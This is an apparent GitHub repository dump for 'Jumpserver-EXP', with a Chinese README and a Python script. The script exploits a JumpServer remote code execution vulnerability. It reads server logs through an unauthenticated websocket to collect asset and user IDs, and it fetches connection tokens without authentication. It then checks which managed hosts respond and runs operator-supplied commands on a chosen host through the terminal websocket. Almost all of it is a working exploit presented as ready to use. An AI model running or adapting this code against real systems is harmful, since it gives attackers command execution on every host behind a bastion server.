├── 1.jpg ├── 2.jpg ├── 3.jpg ├── JumpserverEXP.gif ├── README.md └── jumpserver-exp.py /1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Veraxy00/Jumpserver-EXP/4ce1723c2eb4f08fd42447ecdaeec5b1cab180b2/1.jpg -------------------------------------------------------------------------------- /2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Veraxy00/Jumpserver-EXP/4ce1723c2eb4f08fd42447ecdaeec5b1cab180b2/2.jpg -------------------------------------------------------------------------------- /3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Veraxy00/Jumpserver-EXP/4ce1723c2eb4f08fd42447ecdaeec5b1cab180b2/3.jpg -------------------------------------------------------------------------------- /JumpserverEXP.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Veraxy00/Jumpserver-EXP/4ce1723c2eb4f08fd42447ecdaeec5b1cab180b2/JumpserverEXP.gif -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Jumpserver-EXP 2 | JumpServer远程代码执行漏洞检测利用脚本 3 | 4 | 漏洞地址:https://github.com/jumpserver/jumpserver/issues/5533 5 | 6 | ![演示动图](https://github.com/Veraxy00/Jumpserver-EXP/blob/main/JumpserverEXP.gif) 7 | 8 | ## 用法 9 | 脚本在python3环境下编写。 10 | 11 | 运行脚本: 12 | 13 | ``` 14 | python jumpserver-exp.py [address] 15 | 16 | 如:python jumpserver-exp.py http://192.168.18.182:8080 17 | ``` 18 | 运行过程中根据提示输入选择。 19 | 20 | 21 | ## 功能 22 | 1. 读取日志 23 | 24 | 运行脚本初期,会先读取目标日志文件,默认路径为`/ws/ops/tasks/log/`。若日志路径与默认路径不符,且已知实际路径,请自行修改代码。 25 | 从中检测出可能被利用的目标资产,以 的格式列出。 26 | 27 | ![读取日志演示](1.jpg) 28 | 29 | 2. 检测目标可连接性,筛选可用资产 30 | 31 | 针对上一步列出的目标列表,逐个判活,检测可用性,并将可用目标附带编号列出。 32 | 33 | ![目标判活演示](2.jpg) 34 | 35 | 3. 执行命令 36 | 37 | (1)脚本询问用户,是否选择进一步攻击?输入`yes`继续,输入`no`则结束。 38 | 39 | (2)随后询问用户要使用的目标,根据上一步列出的可用目标列表来选择。 40 | 41 | (3)继续询问用户,要执行的命令。 42 | 43 | 参数设定完毕,脚本按预期连接目标并执行命令。 44 | 45 | ![执行命令演示](3.jpg) 46 | -------------------------------------------------------------------------------- /jumpserver-exp.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import sys 3 | import requests 4 | import re 5 | import websockets 6 | import json 7 | 8 | log_url = "/ws/ops/tasks/log/" 9 | token_url = "/api/v1/authentication/connection-token/?user-only=Veraxy" 10 | tty_url = "/koko/ws/token/?target_id=" 11 | 12 | # 读取日志,解析目标字段值 13 | async def read_log(tar): 14 | print("===========Start read logs===========") 15 | log='' 16 | async with websockets.connect(tar) as client: 17 | await client.send(json.dumps({"task": "/opt/jumpserver/logs/gunicorn"})) 18 | while True: 19 | try: 20 | ret = json.loads(await client.recv()) 21 | log += ret["message"] 22 | print("Reading...") 23 | re_result = set(re.compile('/api/v1/perms/asset-permissions/user/validate/\?action_name=connect&asset_id=(.*?)&cache_policy=1&system_user_id=(.*?)&user_id=(.*?) ').findall(log)) 24 | if len(re.compile("\"GET\s{1}/api/health/\s{1}HTTP/1.1\"\s\d*\s\d*").findall(ret["message"])) == 1: 25 | print(" ###### %d targets detected:#####"% len(re_result)) 26 | for result in re_result: 27 | print("asset_id="+result[0]+", system_user_id="+result[1]+", user_id="+result[2]) 28 | print("===========Finish read logs============\n") 29 | return list(re_result) 30 | except asyncio.TimeoutError: 31 | print("********connection timeout!") 32 | break 33 | 34 | # 向服务器端发送认证后的消息 35 | async def send_msg(websocket,_text): 36 | if _text == "exit": 37 | print(f'you have enter "exit", goodbye') 38 | await websocket.close(reason="user exit") 39 | return False 40 | await websocket.send(_text) 41 | recv_text = await websocket.recv() 42 | print(f"{recv_text}") 43 | 44 | # 获取token 45 | def get_token(user,asset,system_user): 46 | data = {"user": user, "asset": asset, "system_user": system_user} 47 | token_target = host + token_url 48 | res = requests.post(token_target, json=data) 49 | token = res.json()["token"] 50 | return token 51 | 52 | # 判断目标状态 53 | async def Detection_target(cmd,current_target): 54 | async with websockets.connect(current_target) as websocket: 55 | recv_text = await websocket.recv() 56 | resws=json.loads(recv_text) 57 | id = resws['id'] 58 | inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":234,\"rows\":13 }"}) 59 | await send_msg(websocket,inittext) 60 | cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"}) 61 | await send_msg(websocket, cmdtext) 62 | for i in range(10): 63 | recv_text = await websocket.recv() 64 | print("waiting.....") 65 | if recv_text.count("hlXFGQET6uBbxgyl") == 2: 66 | return True 67 | return False 68 | 69 | # 建立连接 70 | async def main_logic(cmd): 71 | async with websockets.connect(target) as websocket: 72 | recv_text = await websocket.recv() 73 | print(f"{recv_text}") 74 | resws=json.loads(recv_text) 75 | id = resws['id'] 76 | print("ws id: "+id) 77 | print("init ws") 78 | inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":234,\"rows\":13 }"}) 79 | await send_msg(websocket,inittext) 80 | print("###############") 81 | print("exec command:") 82 | cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"}) 83 | print(cmdtext) 84 | await send_msg(websocket, cmdtext) 85 | for i in range(20): 86 | recv_text = await websocket.recv() 87 | print(f"{recv_text}") 88 | print('===========finish') 89 | 90 | if __name__ == "__main__": 91 | host = sys.argv[1] 92 | log_target = host.replace("https://", "wss://").replace("http://", "ws://") + log_url 93 | print("log_target: %s" % (log_target,)) 94 | # 获取user、asset、system_user组成的目标集合 95 | message = asyncio.get_event_loop().run_until_complete(read_log(log_target)) 96 | # 判断目标是否可用 97 | print("===========Check for target connectivity============") 98 | actine_result=[] 99 | for result in message: 100 | token = get_token(result[2],result[0],result[1]) 101 | current_target = "ws://" + host.replace("http://", '') + tty_url + token 102 | status = asyncio.get_event_loop().run_until_complete(Detection_target("echo hlXFGQET6uBbxgyl", current_target)) 103 | print(status) 104 | if status == True: 105 | actine_result.append(result) 106 | print("#########%d targets can be connected##########"% (len(actine_result),)) 107 | i = 1 108 | for result in actine_result: 109 | print(str(i) + ") " + "asset_id=" + result[0] + ", system_user_id=" + result[1] + ", user_id=" + result[2]) 110 | i += 1 111 | choice = input("\nDo you want to continue the attack? Yes or No:") 112 | if choice.upper() == "YES": 113 | print("Please select the target:") 114 | choice_target = int(input(">>>")) 115 | if choice_target > len(message): 116 | choice_target = int(input("Please reselect:")) 117 | print("Your choice is %s" % choice_target) 118 | cmd = input("Please enter the command to execute:") 119 | print("\n ======waiting=======") 120 | # 获取token 121 | token = get_token(actine_result[choice_target-1][2],actine_result[choice_target-1][0], actine_result[choice_target-1][1]) 122 | print("token: %s" % (token,)) 123 | target = "ws://" + host.replace("http://", '') + tty_url + token 124 | # 建立tty连接 125 | print("websocket target: %s" % (target,)) 126 | print("===========Start connection establishment===========") 127 | asyncio.get_event_loop().run_until_complete(main_logic(cmd)) 128 | else: 129 | print("==========End Target Discovery============") --------------------------------------------------------------------------------